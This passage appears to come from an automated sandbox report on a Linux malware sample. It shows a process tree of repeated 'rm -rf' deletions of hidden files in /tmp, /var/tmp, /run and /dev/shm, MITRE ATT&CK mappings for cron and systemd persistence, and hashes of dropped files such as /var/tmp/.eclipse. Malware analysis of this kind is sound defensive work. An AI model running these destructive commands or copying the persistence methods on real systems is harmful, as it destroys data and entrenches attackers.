    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1765
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1766
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1767
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1768
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1769
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1770
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1771
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1772
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1773
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1774
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1775

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.eclipse.service

Path /etc/systemd/system/.eclipse.service
Size 175B
SHA256 4f14b722591577aac6a2f7c7181d780cf468d13aae57e629b434b54fa8e54a51
MD5 ce8d2cd64f9c282d532a26c2e37f74f0
SHA1 fc34fe022e716204b46e274e3a4fc1c6993019d0
SHA512 7f5331b0a0534ac756b5ba0e2d5b7931e4d8db9af14a50ad2ccca2bc879ccb69ebab759c3fc4f965f37135265e958c2d0a9935bbd7329641600818779e36c94e
TLSH
T1AFC0C033270120E1CC4F35F19F637B000C100140018EF0300BD0102848F36429032DB9
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.F3nVB0

Path /var/spool/cron/crontabs/tmp.F3nVB0
Size 175B
SHA256 1c9f5b369a3dd33c4cad7967c170626d4e2b0428a30f9e8e870c45ba6e3a23a7
MD5 5571efac60f3956ce212b10ddad6e1ac
SHA1 7c98e961f72e822974d5c259bf84e12fa8f6792c
SHA512 102d186cda5844d0dcc538c3760039d39c6c457b9c93650a24d80e0515d3a8289cf868cd52fa635f05c8336bf8e205f90d71752087889431fe531926459170cc
TLSH
T1E9C0C02C3F00353019000785206B041C5C41E07CC00D9F10D1EC0408030768C1FA0971
MD5 SHA1 SHA512 TLSH

Submit Download

.eclipse

Path /var/tmp/.eclipse
Size 438KB
SHA256 220940a9debf6cd95f9eccb6fa28d457a6c2c9387d8e9d0b080e19a1a43aa754
MD5 1d4d7e5a796ebaf227b5c469a6046717
SHA1 22e1d645a200e5b362676bb2ed3d259f378ba371
SHA512 987cd8e6ca304ef7baf531b7ba6cabda088e329c3d53009c7d41fd166646d2f4a43cf13a38e5855796ec7ac297ecbfe87a6cdd064c87a84277f00a56f3f1f3f2
SSDEEP 6144:IwC5Zohcv+A4duFPXRdxJB5UuPg1TSOixolNi5exTDCtl3KJ2sZ+8PQggA0VOioX:VQ2AFbdxJFY1Tcj2vw3W+8PQnAiSi+B
TLSH
T12CA47D02FBA2D973F45300F1125A6B629A33ED352437D4A7D3D62D64E9706D0872A3BB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads